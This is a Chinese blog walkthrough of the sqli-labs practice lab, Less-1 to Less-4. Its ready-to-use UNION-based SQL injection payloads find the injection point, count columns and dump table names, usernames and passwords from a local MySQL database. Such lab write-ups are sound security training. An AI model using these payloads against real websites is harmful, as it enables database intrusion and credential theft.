sqli-labs之Error Based Exploitation小结

本文通过在Ubuntu16.04上搭建的sqli-labs环境,详细介绍了如何利用Error Based Exploitation进行SQL注入攻击。通过寻找注入点,利用order by、union select等方法,逐步揭示数据库名称、表名、列名及数据,展示了SQL注入的完整过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sqli-labs之Error Based Exploitation小结

在本机虚拟机上安装Ubuntu16.04,并在其上搭建Apache+PHP+mysql环境,PHP版本要求不能高于5.6,否则会出现各种错误

Ubuntu16.04搭建教程https://blog.csdn.net/qq_42280544/article/details/83904046

安装完成,在虚拟机Ubuntu16.04的浏览器中输入127.0.0.1/sqli-labs-master
在这里插入图片描述点击Setup/reset Database for labs
在这里插入图片描述建库成功!

在这里插入图片描述

Less-1:

在这里插入图片描述首先,我们要寻找注入点:
注入地址:http://127.0.0.1/Less-1/

payload:?id=1

在这里插入图片描述正常

payload:?id=1’

在这里插入图片描述
报错:== You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1 ==

说明存在注入点,接下来,猜测其后端sql语句

payload:?id=1\

在这里插入图片描述
报错 : ==You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’ LIMIT 0,1’ at line 1 ==

由以上推测出后端sql语句:select * from users where id=’ '

由于我们并不知道后端的SELECT查询有多少列,所以首要任务就是找出SELECT查询中使用的列数。为此我们要使用order by子句,order by 子句会根据查询中使用的指定列将结果集按照升序或降序排列

使用order by:

payload:?id=1’order by 4–+

在这里插入图片描述
少于 4 column
payload:?id=1’order by 3–+

在这里插入图片描述
正常爆出数据,说明只有3 column
使用UNION操作符来实现。UNION操作符用于合并两个或多个SELECT语句的结果集
使用 union select:

payload:?id=-1’ union select 1,2,3–+

在这里插入图片描述
显示第2列和第3列的值作为输出
接下来,使用database()函数爆数据库:
第二个查询的结果显示在屏幕上,我们必须将第一条查询的结果集置为EMPTY,所以,将id=-1’

payload:?id=-1’ union select 1,database(),3–+

在这里插入图片描述
爆出一个数据库名为:security
接下来,爆表:
payload:?id=-1’union select 1,table_name,3 from information_schema.tables where table_schema=database()–+

在这里插入图片描述
表名为:emails

group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函
数参数(就是字段名)决定。分组必须有个标准,就是根据group by指定的列进行分组

使用group_concat(),爆出所有表:

payload:?id=-1’union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database()–+

在这里插入图片描述
爆users表的所有列:
payload:?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

在这里插入图片描述

爆users表的所有用户名:
payload:?id=-1’ union select 1,group_concat(username),3 from users–+

在这里插入图片描述
爆users表的所有对应密码:

payload:?id=-1’ union select 1,group_concat(password),3 from users–+

在这里插入图片描述

接下来的Less-2,Less-3,Less-4和以上的分析方法相同,构造payload如下:

Less-2

payload1:?id=1\
payload2:?id=1’

推出sql内部语句:select * from users where id=

payload3:?id=1 order by 4–+
payload4:?id=1 order by 3–+
payload5:?id=-1 union select 1,2,3–+

显示数据库名:
payload6:?id=-1 union select 1,database(),3–+

显示所有表:
payload7:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+

显示所有列:
payload8:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+

显示users表内的所有用户名:
payload9: ?id=-1 union select 1,group_concat(username),3 from users–+

显示用户名对应的密码:
payload10:?id=-1 union select 1,group_concat(password),3 from users–+

Less-3

payload1:?id=1\
payload2:?id=1’

推出sql内部语句:select * from users where id=(’ ')
payload3:?id=-1’) order by 4–+
payload4:?id=-1’) order by 3–+
payload5:?id=-1’) union select 1,2,3–+

显示数据库名:
payload6:?id=-1’) union select 1,database(),3–+

显示所有表:
payload7:?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+

显示所有列:
payload8:?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+

显示users表内的所有用户名:
payload9:?id=-1’) union select 1,group_concat(username),3 from users–+

显示用户名对应的密码:
payload10:?id=-1’) union select 1,group_concat(password),3 from users–+

Less-4

payload:?id=1’
payload2:?id=1"
payload2:?id=1\

推出sql内部语句:select * from users where id=(" ")
payload3:?id=-1") order by 4–+
payload4:?id=-1") order by 3–+
payload5:?id=-1") union select 1,2,3–+

显示数据库名:
payload6:?id=-1") union select 1,database(),3–+

显示所有表:
payload7:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+

显示所有列:
payload8:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+

显示users表内的所有用户名:
payload9:?id=-1") union select 1,group_concat(username),3 from users–+

显示用户名对应的密码:
payload10:?id=-1") union select 1,group_concat(password),3 from users–+

更新中…

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值